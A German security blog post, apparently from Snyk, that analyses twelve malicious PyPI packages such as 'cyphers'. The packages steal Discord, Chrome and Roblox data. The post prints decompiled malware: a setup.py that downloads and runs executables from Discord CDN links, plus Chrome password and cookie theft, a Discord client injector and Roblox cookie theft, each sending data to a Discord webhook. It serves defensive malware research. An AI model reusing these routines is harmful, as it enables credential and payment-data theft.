Skip to main content

Snyk identifiziert PyPi-Malware, die Daten und Zahlungsinformationen von Discord und Roblox Nutzern abgreift

Artikel von:

Kyle Suero

wordpress-sync/blog-hero-pypi-malware-discord

16. August 2022

0 Min. Lesezeit

Unser Research-Team prüft Open-Source-Ökosysteme kontinuierlich auf Schadpakete. Zum Einsatz kommen dabei statische Code-Analysen, die verdächtige Pakete identifizieren und Alerts dazu ausgeben. Von jedem gefundenen Schadpaket berichten wir nach Veröffentlichung dem Paket-Manager und fügen es darüber hinaus der Snyk Schwachstellen-Datenbank hinzu. Im Rahmen aktueller Analysen identifizierten wir etwa 12 separate Malware-Komponente aus der Feder desselben Angreifers. Diese Schadpakete versuchten, Windows-Geräte zu infiltrieren, vom Discord Content Delivery Network (CDN) heruntergeladene Schadpakete auf dem Host auszuführen und der Erkennung zu entgehen.

Um eine Schadanwendung mitsamt zugehörigen Abhängigkeiten in einem Paket zu kombinieren, nutzten sie PyInstaller, dies mit doppeltem Zweck: Einerseits sollte durch das Bundling der Abhängigkeiten (statt Download von einem Remote-Server) die Erkennung vermieden, zum anderen eine ausführbare Datei bereitgestellt werden, die keinen Interpreter benötigt.

Ziel der Malware sind Daten, die im Zusammenhang mit allgemeinen Anwendungen gespeichert werden. Wird sie ausgeführt, versucht sie, Daten von Google Chrome wie Passwörter, Cookies, Browser- und Suchverlauf sowie Bookmarks zu entwenden. Ein typisches Ziel von Angreifern, da sie sich mit diesen Daten dann durch die Konten der Nutzer bewegen können.

Discord als Online-Chatanwendung befindet sich ebenfalls im Visier der Angreifer. Hier werden Token aus- und ein Schadagent dauerhaft eingeschleust. Der Discord Injector benannte Schadcode kann dabei eine äußerst beunruhigende Menge an Informationen weitergeben. Dies endet längst nicht bei den Benutzerdetails, sondern betrifft auch Kreditkarteninformationen, wenn diese bei geladenem Injector eingegeben werden.

Ein weiterer interessanter Faktor bei dieser Malware: Sie nutzt Discord-Ressourcen, um ausführbare Dateien im System einzuschleusen. Ganz neu ist dieses Vorgehen im Grunde nicht, aber die Verwendung von cdn.discord.com stieß unseren Analysten ins Auge. Die Binärdateien werden über das Discord CDN auf den Host manövriert.

Genaueres Analyse-Augenmerk wollen wir dabei beispielhaft dem cyphers Paket widmen. Diese Malware setzt sich aus zwei ausführbaren Dateien zusammen.

  1. ZYXMN.exe - greift auf Discord private Daten ab und gibt Nutzerdetails und sensible Informationen aus dem Browser weiter, um Discord Malware in die Anwendung selbst einzubringen.

  2. ZYRBX.exe - hat die Aufgabe, Roblox Cookies und Benutzerdaten abzugreifen.

Paket-Teardown: cyphers

Nach Download und Extraktion des Paket-Tarball fielen uns zunächst einige ungewöhnliche Aspekte an der setup.py Datei auf (im Folgenden verkürzt wiedergegeben):

1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)  
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")

Wie wir sehen, versucht sie, zwei Binärdateien von einem Discord CDN-Server herunterzuladen: ZYXMN.exe und ZYRBX.exe. Sie versucht sie dann als beliebige ausführbare Windows-Dateien auszugeben und startet sie. Anschließend werden die Dateien aus dem System gelöscht, um die Spur zu verwischen.

Aber sehen wir uns genauer an, was nach Ankunft dieser beiden Dateien im System passiert:

ZYXMN.exe

Nach Ausführung von binwalk und strings über die Binärdatei zeigt sich, dass sie mit PyInstaller erstellt wurde. Einer Bibliothek also, die, inklusive z. B. Runtime-Abhängigkeiten, als Bundle für eine gesamte Python-Anwendung fungiert.

Extrahieren lässt sich das mit extremecoders-re/pyinstxtractor. Dabei entdeckten wir auch  ZYXMN.pyc – kompilierter Python-Bytecode als Eingangspunkt für die Anwendung. Bei der Dekompilierung mit rocky/python-uncompyle6 offenbarten sich dann auch die versteckten Geheimnisse dieses Schadpakets.

main()

1def main() -> None:
2    webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3    pingmsg = 'soulcord run da wrld'
4    greenhillzone = {'content': f"@everyone {pingmsg}"}
5    requests.post(webhook, json=greenhillzone)
6    debug()
7    threads = []
8    for operation in (
9    discord, google, injection):
10        thread = Thread(target=operation, args=(webhook,))
11        thread.start()
12        threads.append(thread)
13    else:
14        for thread in threads:
15            thread.join()
16        else:
17            system(webhook)

Die Hauptfunktion führt im Grunde drei Abläufe aus (Threads), die alle auf einen unterschiedlichen Payload-Bereich abzielen. Per webhook Argument entwenden sie ihre Resultate dann aus dem System. Auch dies geschieht über eine Discord URL (discord.com).

Google

1class google:   
2    def __init__(self, webhook: str) -> None:
3        webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4        self.appdata = os.getenv('LOCALAPPDATA')
5        self.databases = {
6        self.appdata + '\\Google\\Chrome\\User Data\\Default',
7        self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8        self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9        self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10        self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11        self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12        self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13        self.files = [
14        '.\\nrozi3tvz1x7df3I-p.txt',
15        '.\\JN6Kq3DLrH6eJ8px-c.txt',
16        '.\\MVvztUI6Dyc1iHIB-wh.txt',
17        '.\\jDW68AZgMg9PUg1O-h.txt',
18        '.\\elr6GRUCz1eKhT0q-b.txt']
19        self.password()
20        self.cookies()
21        self.web_history()
22        self.search_history()
23        for file in self.files:
24            if not os.path.isfile(file):
25                pass
26            elif os.path.getsize(file) > 8000000:
27                pass
28            else:
29                webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30        else:
31            for file in self.files:
32                if os.path.isfile(file):
33                    os.remove(file)

Die Malware versucht, den Master Key von Google Chrome zu entschlüsseln, auf lokale Browser-Datenbanken zuzugreifen und die folgenden privaten Daten auszuschleusen:

  • Cookies

  • Browser-Verlauf

  • Suchverlauf

Injection

1def __init__(self, webhook: str):
2        self.appdata = os.getenv('LOCALAPPDATA')
3        self.discord_dirs = [
4        self.appdata + '\\Discord',
5        self.appdata + '\\DiscordCanary',
6        self.appdata + '\\DiscordPTB',
7        self.appdata + '\\DiscordDevelopment']
8        self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9        for dir in self.discord_dirs:
10            if not os.path.exists(dir):
11                pass
12            elif self.get_core(dir) is not None:
13                with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14                    f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15                    self.start_discord(dir)

Der Code versucht dabei, eine Datei namens index.js im Verzeichnis discord_desktop_core mit dem Inhalt aus der Eigenschaft self.code zu erstellen und die Discord Anwendung auszuführen. Das Script kann dann im Kontext der Anwendung ausgeführt werden.

Nachdem wir den String in einer Datei abgelegt und den Inhalt analysiert hatten, fiel uns auf, dass er aus dem Rdimo/Discord-Injection Repository stammt. Dieser enthält ein Schadscript, das private Daten von Discord Nutzern abgreift.

ZYRBX.exe

Denselben Prozess wandten wir an, um den Python-Quellcode wie im vorangegangenen Fall aus dieser Binärdatei zu extrahieren. Der Schadcode führt den folgenden Code-Block auf unterschiedlichen Browsern aus:

1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2    site = 'roblox.com'
3    if site == 'roblox.com':
4        try:
5            cookiesall = browser_cookie3.edge(domain_name=site)
6            cookiesall = str(cookiesall)
7            roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8            req = requests.Session()
9            req.cookies['.ROBLOSECURITY'] = roblosec
10            user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11            ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12            robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13            Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14            prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15            embed = {'title':'Cookie Found',
16            'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17            'color':0,
18            'thumbnail':{'url': Avatar}}
19            data = {'embeds': [embed]}
20            requests.post(url, json=data)
21            embed2 = {'title':'Cookie Information',
22            'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23            'color':0,
24            'thumbnail':{'url': Avatar}}
25            data2 = {'embeds': [embed2]}
26            requests.post(url, json=data2)

Dieses Stück Code greift den .ROBLOSECURITY Cookie aus Roblox ab und überträgt ihn an den Discord Webhook zusammen mit Daten wie Benutzername, ID, Roblox Guthaben, Thumbnail und Benutzer-Kontostufe in Roblox. Versucht wird dies über Microsoft Edge, Google Chrome, Chromium, Firefox und Opera.

Unsere Ergebnisse in der Zusammenfassung

Insgesamt wurden diese 12 Schadpakete desselben Angreifers identifiziert:

Paketname

Version

Beschreibung

Schädliche ausführbare Datei

Upload-Dauer

hackerfilelol

0.0.1

This is pro hacker module\\n\\ngang

\*Main.exe

July 31, 2022 16:23

hackerfileloll

0.0.1

This is pro hacker module\\n\\ngang

\*Main.exe

July 31, 2022 16:27

stealthpy

0.0.1

gang

ZYXM.exe, ZYRBX.exe

July 31, 2022 18:32

plutos

0.0.1

A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

July 31, 2022 21:01

testpipper

0.0.1

A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 11:27

testpipperz

0.0.1

A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 11:33

pippytest

0.0.1

A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 11:35

pippytests

0.0.1

A basic module used to manage multiple threads at once much more efficiently.

ZYXM.exe, ZYRBX.exe

August 1, 2022 12:16

cyphers

0.0.1

A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 12:27

rblxtools

0.0.1

A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 19:14

rbxtools

0.0.1

A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us.

ZYXM.exe, ZYRBX.exe

August 1, 2022 19:22

rbxtool

0.0.1

A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us.

\*Main.exe - identical to ZYXMN.exe

ZYXM.exe, ZYRBX.exe

August 1, 2022 19:26

Wir spüren verdächtige Aktivitäten in einer Vielzahl an Paket-Ökosystemen mit komplexen Techniken und Methoden auf und informieren die jeweiligen Paket-Maintainer, die Community und unsere Nutzer stets schnellstmöglich. Dieses Vorgehen halten wir für essenziell, um Open-Source-Software und technologische Ökosysteme generell hinlänglich abzusichern.

Die Ergebnisse unserer Arbeit können Sie direkt nutzen – mit einem kostenlosen Snyk Konto. Schnell entwickeln. Mit Sicherheit: Snyk identifiziert Schwachstellen in Open-Source-Abhängigkeiten, proprietärem Code, Base-Images und Cloud-Infrastruktur mit branchenführender Security Intelligence – und liefert nahtlos umsetzbare Fixing-Hinweise inklusive 1-Click Pull-Requests.

wordpress-sync/blog-hero-pypi-malware-discord

Sie möchten Snyk in Aktion erleben?

500 devs to 1 security professional is the reality of today. The security pro’s role must transform into an aware, knowledgeable, supportive partner capable of empowering developers to make security decisions.